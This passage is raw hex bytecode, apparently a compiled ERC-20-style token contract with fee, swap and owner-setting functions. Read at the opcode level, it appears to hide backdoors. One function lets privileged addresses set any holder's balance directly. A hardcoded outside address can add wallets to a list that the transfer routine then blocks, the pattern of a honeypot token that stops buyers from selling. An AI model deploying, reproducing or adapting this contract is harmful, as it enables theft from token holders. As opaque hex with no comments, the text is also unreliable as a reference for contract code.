900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601154620006f8601054600f5462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6018819055506200074b6014546200073760135460125462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6019819055506200078a6017546200077660165460155462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b601a81905550600160096000620007a662000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200094c60015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620009b362000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550733078d465e32495fc5e2253a46b1e1f144d80293c600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733078d465e32495fc5e2253a46b1e1f144d80293c600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b546006600062000bef62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c3d62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b5460405162000c9e919062000ef6565b60405180910390a350620012ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cef919062000f24565b90508381101562000d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d2e9062000ed4565b60405180910390fd5b8091505092915050565b600062000d548262000d5b60201b60201c565b9050919050565b6000819050919050565b82805462000d7390620011c5565b90600052602060002090601f01602090048101928262000d97576000855562000de3565b82601f1062000db257805160ff191683800117855562000de3565b8280016001018555821562000de3579182015b8281111562000de257825182559160200191906001019062000dc5565b5b50905062000df2919062000df6565b5090565b5b8082111562000e1157600081600090555060010162000df7565b5090565b60008151905062000e268162001294565b92915050565b60006020828403121562000e455762000e4462001259565b5b600062000e558482850162000e15565b91505092915050565b62000e69816200117a565b82525050565b600062000e7e601b8362000f13565b915062000e8b826200126b565b602082019050919050565b62000ea181620011ae565b82525050565b600060408201905062000ebe600083018562000e5e565b62000ecd602083018462000e5e565b9392505050565b6000602082019050818103600083015262000eef8162000e6f565b9050919050565b600060208201905062000f0d600083018462000e96565b92915050565b600082825260208201905092915050565b600062000f3182620011ae565b915062000f3e83620011ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f765762000f75620011fb565b5b828201905092915050565b6000808291508390505b600185111562000fd35780860481111562000fab5762000faa620011fb565b5b600185161562000fbb5780820291505b808102905062000fcb856200125e565b945062000f8b565b94509492505050565b600062000fe982620011ae565b915062000ff683620011b8565b9250620010257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200102d565b905092915050565b6000826200103f576001905062001112565b816200104f576000905062001112565b81600181146200106857600281146200107357620010a9565b600191505062001112565b60ff841115620010885762001087620011fb565b5b8360020a915084821115620010a257620010a1620011fb565b5b5062001112565b5060208310610133831016604e8410600b8410161715620010e35782820a905083811115620010dd57620010dc620011fb565b5b62001112565b620010f2848484600162000f81565b925090508184048111156200110c576200110b620011fb565b5b81810290505b9392505050565b60006200112682620011ae565b91506200113383620011ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200116f576200116e620011fb565b5b828202905092915050565b600062001187826200118e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011de57607f821691505b60208210811415620011f557620011f46200122a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200129f816200117a565b8114620012ab57600080fd5b50565b60805160601c614bb1620012d46000396000818161119201526111be0152614bb16000f3fe6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111f36111e27f0000000000000000000000000000000000000000000000000000000000000000611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061